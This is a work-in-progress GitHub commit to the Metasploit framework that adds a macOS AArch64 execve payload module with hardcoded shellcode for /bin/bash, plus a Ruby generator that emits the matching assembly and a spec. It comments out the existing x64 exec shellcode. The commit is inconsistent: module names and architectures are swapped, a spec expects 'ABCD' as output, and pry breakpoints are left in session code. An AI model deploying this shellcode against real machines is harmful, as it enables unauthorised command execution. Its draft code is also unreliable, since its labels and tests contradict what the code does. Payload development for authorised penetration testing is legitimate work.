Skip to content

Commit

Permalink
wip
Browse files Browse the repository at this point in the history
  • Loading branch information
adfoster-r7 committed Dec 25, 2023
1 parent 0f4644d commit ca3d77d
Show file tree
Hide file tree
Showing 6 changed files with 228 additions and 29 deletions.
95 changes: 95 additions & 0 deletions foo.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,95 @@
class Payload
def align_to_16_bytes(value, required_byte_alignment: 16)
return value if value % required_byte_alignment == 0

value + (required_byte_alignment - (value % required_byte_alignment))
end

def hex(val)
val.to_s(16).rjust(2, '0')
end

def register_byte_size
8
end

def required_bytes_for_argv_pointers
register_byte_size * 2
end

def write_program_name_and_argv_pointers(bytes)
asm = []

required_stack_size = align_to_16_bytes(bytes.length + required_bytes_for_argv_pointers)
if required_stack_size >= 256
# Not supported as the syntax 'str x1, [sp, #-#{sp_offset}]' would fail, as the relative index must be an integer in range [-256, 255].
raise NotImplementedError, "Byte length #{bytes.length} too large and cannot be encoded"
end

stack_pointer_offset = required_stack_size

# Program name, argv
bytes.each_slice(register_byte_size) do |slice|
# Padding
slice += [0] * (register_byte_size - slice.length)
asm << "# Starting bytes: #{slice.inspect} (#{slice.map(&:chr).join})"

asm << "mov x5, #0x#{hex(slice[1])}#{hex(slice[0])}"
asm << "movk x5, #0x#{hex(slice[3])}#{hex(slice[2])}, lsl #16"
asm << "movk x5, #0x#{hex(slice[5])}#{hex(slice[4])}, lsl #32"
asm << "movk x5, #0x#{hex(slice[7])}#{hex(slice[6])}, lsl #48"

asm << "str x5, [sp, #-#{stack_pointer_offset}]"
stack_pointer_offset -= register_byte_size
end

# Argv pointers
asm << "// argv pointers"
asm << "mov x5, sp"
asm << "sub x5, x5, ##{required_stack_size} // program name base pointer"
asm << "stp x5, xzr, [sp, #-#{required_bytes_for_argv_pointers}] // Store program name pointer followed by xzr, i.e. char *argv[] = { \"/bin/bash\", NULL };"

asm
end

def datastore
datastore = { 'CMD' => '/bin/bash' }
# datastore = { 'CMD' => '/Users/jenkins/testing/test' }
datastore
end

def generate
asm = []
# enc = ''.b
# enc << "".b

puts asm.join("\n")

# Uses
program = datastore['CMD']
bytes = program.bytes

# Write the bytes to the stack below the current sp location
bytes = "#{program.b}\x00".bytes
asm << '// write execve arguments on the stack, i.e. program name / argv'
asm += write_program_name_and_argv_pointers(bytes)

asm << '// syscall'
asm << 'ldr x16, =0x200003b // Load sys number for SYS_EXECVE'
asm << 'mov x0, sp // Arg0: char* path - Pointer to the current stack position'
asm << "sub x0, x0, ##{align_to_16_bytes(bytes.length + required_bytes_for_argv_pointers)} // subtract to the base of the program name"
asm << "mov x1, sp // Arg1: char *const argv[] - program name pointer for now"
asm << "sub x1, x1, ##{required_bytes_for_argv_pointers}"
asm << "mov x2, xzr // Arg2: char *const envp[] - NULL for now"
asm << 'svc #0 // Supervisor call - i.e. the system call'

# asm << 'ldr x16, =0x2000004 // Load sys number for SYS_WRITE'
# asm << 'mov x0, 0 // Arg0: stdout file descriptor'
# asm << 'mov x1, sp // Arg1: Pointer to the current stack position, will be the base of the written program name string'
# asm << "sub x1, x1, #{align_to_16_bytes(bytes.length)} // Arg1: Point to the start of the string"
# asm << "mov x2, ##{bytes.length} // Arg2: The size of the message in bytes"
# asm << 'svc #0 // Supervisor call - i.e. the system call'
end
end

puts Payload.new.generate.join("\n")
2 changes: 2 additions & 0 deletions lib/msf/base/sessions/command_shell.rb
Original file line number Diff line number Diff line change
Expand Up @@ -98,6 +98,8 @@ def shell_init
end

def bootstrap(datastore = {}, handler = nil)
require 'pry-byebug'; binding.pry

session = self

if datastore['AutoVerifySession']
Expand Down
2 changes: 2 additions & 0 deletions lib/msf/base/sessions/ssh_command_shell_bind.rb
Original file line number Diff line number Diff line change
Expand Up @@ -236,6 +236,8 @@ def initialize(ssh_connection, opts = {})
end

def bootstrap(datastore = {}, handler = nil)
require 'pry-byebug'; binding.pry

# this won't work after the rstream is initialized, so do it first
@platform = Metasploit::Framework::Ssh::Platform.get_platform(ssh_connection)

Expand Down
68 changes: 68 additions & 0 deletions modules/payloads/singles/osx/aarch64/exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule

CachedSize = 31

include Msf::Payload::Single

def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX x64 Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'alanfoster' ],
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X64
))

# exec payload options
register_options([
OptString.new('CMD', [ true, "The command string to execute" ])
])
end

# build the shellcode payload dynamically based on the user-provided CMD
def generate(_opts = {})
# cmd_str = datastore['CMD'] || ''
# # Split the cmd string into arg chunks
# cmd_parts = Shellwords.shellsplit(cmd_str)
# cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
# arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
# call = "\xe8" + [arg_str.length].pack('V')
# payload =
# "\x48\x31\xd2"+ # xor rdx, rdx
# call + # call CMD.len
# arg_str + # CMD
# "\x5f" + # pop rdi
# if cmd_parts.length > 1
# "\x48\x89\xf9" + # mov rcx, rdi
# "\x52" + # push rdx (null)
# # for each arg, push its current memory location on to the stack
# cmd_parts[1..-1].each_with_index.map do |arg, idx|
# "\x48\x81\xc1" + # add rcx + ...
# [cmd_parts[idx].length+1].pack('V') + #
# "\x51" # push rcx (build str array)
# end.join
# else
# "\x52" # push rdx (null)
# end +
# "\x57"+ # push rdi
# "\x48\x89\xe6"+ # mov rsi, rsp
# "\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve)
# "\x0f\x05" # syscall

string = datastore['CMD']
create_string_in_stack(string)

# /bin/bash
"\xe5\x45\x8c\xd2\x25\xcd\xad\xf2\xe5\x45\xcc\xf2\x25\x6c\xee\xf2\xe5\x03\x1e\xf8\x05\x0d\x80\xd2\x05\x00\xa0\xf2\x05\x00\xc0\xf2\x05\x00\xe0\xf2\xe5\x83\x1e\xf8\xe5\x03\x00\x91\xa5\x80\x00\xd1\xe5\x7f\x3f\xa9\xf0\x00\x00\x58\xe0\x03\x00\x91\x00\x80\x00\xd1\xe1\x03\x00\x91\x21\x40\x00\xd1\xe2\x03\x1f\xaa\x01\x00\x00\xd4\x3b\x00\x00\x02\x00\x00\x00\x00".b
end

def create_string_in_stack(string)
string
end
end
59 changes: 30 additions & 29 deletions modules/payloads/singles/osx/x64/exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -11,10 +11,9 @@ module MetasploitModule

def initialize(info = {})
super(merge_info(info,
'Name' => 'OS X x64 Execute Command',
'Name' => 'OSX AArch64 Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'argp <argp[at]census-labs.com>',
'joev' ],
'Author' => [ 'alanfoster' ],
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X64
Expand All @@ -29,31 +28,33 @@ def initialize(info = {})
# build the shellcode payload dynamically based on the user-provided CMD
def generate(_opts = {})
cmd_str = datastore['CMD'] || ''
# Split the cmd string into arg chunks
cmd_parts = Shellwords.shellsplit(cmd_str)
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
call = "\xe8" + [arg_str.length].pack('V')
payload =
"\x48\x31\xd2"+ # xor rdx, rdx
call + # call CMD.len
arg_str + # CMD
"\x5f" + # pop rdi
if cmd_parts.length > 1
"\x48\x89\xf9" + # mov rcx, rdi
"\x52" + # push rdx (null)
# for each arg, push its current memory location on to the stack
cmd_parts[1..-1].each_with_index.map do |arg, idx|
"\x48\x81\xc1" + # add rcx + ...
[cmd_parts[idx].length+1].pack('V') + #
"\x51" # push rcx (build str array)
end.join
else
"\x52" # push rdx (null)
end +
"\x57"+ # push rdi
"\x48\x89\xe6"+ # mov rsi, rsp
"\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve)
"\x0f\x05" # syscall
# # Split the cmd string into arg chunks
# cmd_parts = Shellwords.shellsplit(cmd_str)
# cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
# arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
# call = "\xe8" + [arg_str.length].pack('V')
# payload =
# "\x48\x31\xd2"+ # xor rdx, rdx
# call + # call CMD.len
# arg_str + # CMD
# "\x5f" + # pop rdi
# if cmd_parts.length > 1
# "\x48\x89\xf9" + # mov rcx, rdi
# "\x52" + # push rdx (null)
# # for each arg, push its current memory location on to the stack
# cmd_parts[1..-1].each_with_index.map do |arg, idx|
# "\x48\x81\xc1" + # add rcx + ...
# [cmd_parts[idx].length+1].pack('V') + #
# "\x51" # push rcx (build str array)
# end.join
# else
# "\x52" # push rdx (null)
# end +
# "\x57"+ # push rdi
# "\x48\x89\xe6"+ # mov rsi, rsp
# "\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve)
# "\x0f\x05" # syscall

"\x40\x00\x20\xD4".force_encoding("ASCII")
end
end
31 changes: 31 additions & 0 deletions spec/modules/payloads/singles/osx/aarch64/exec_spec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
require 'rspec'

RSpec.describe 'singles/osx/aarch64/exec' do
include_context 'Msf::Simple::Framework#modules loading'

let(:subject) do
load_and_create_module(
module_type: 'payload',
reference_name: 'osx/aarch64/exec',
ancestor_reference_names: [
'singles/osx/aarch64/exec'
]
)
end
let(:cmd) { nil }
let(:datastore_values) { { 'CMD' => cmd } }

before(:each) do
subject.datastore.merge!(datastore_values)
end

describe '#generate' do
context 'when the CMD is /bin/bash' do
let(:cmd) { 'ABCD' }

it 'generates' do
expect(subject.generate).to eq('ABCD')
end
end
end
end

0 comments on commit ca3d77d

Please sign in to comment.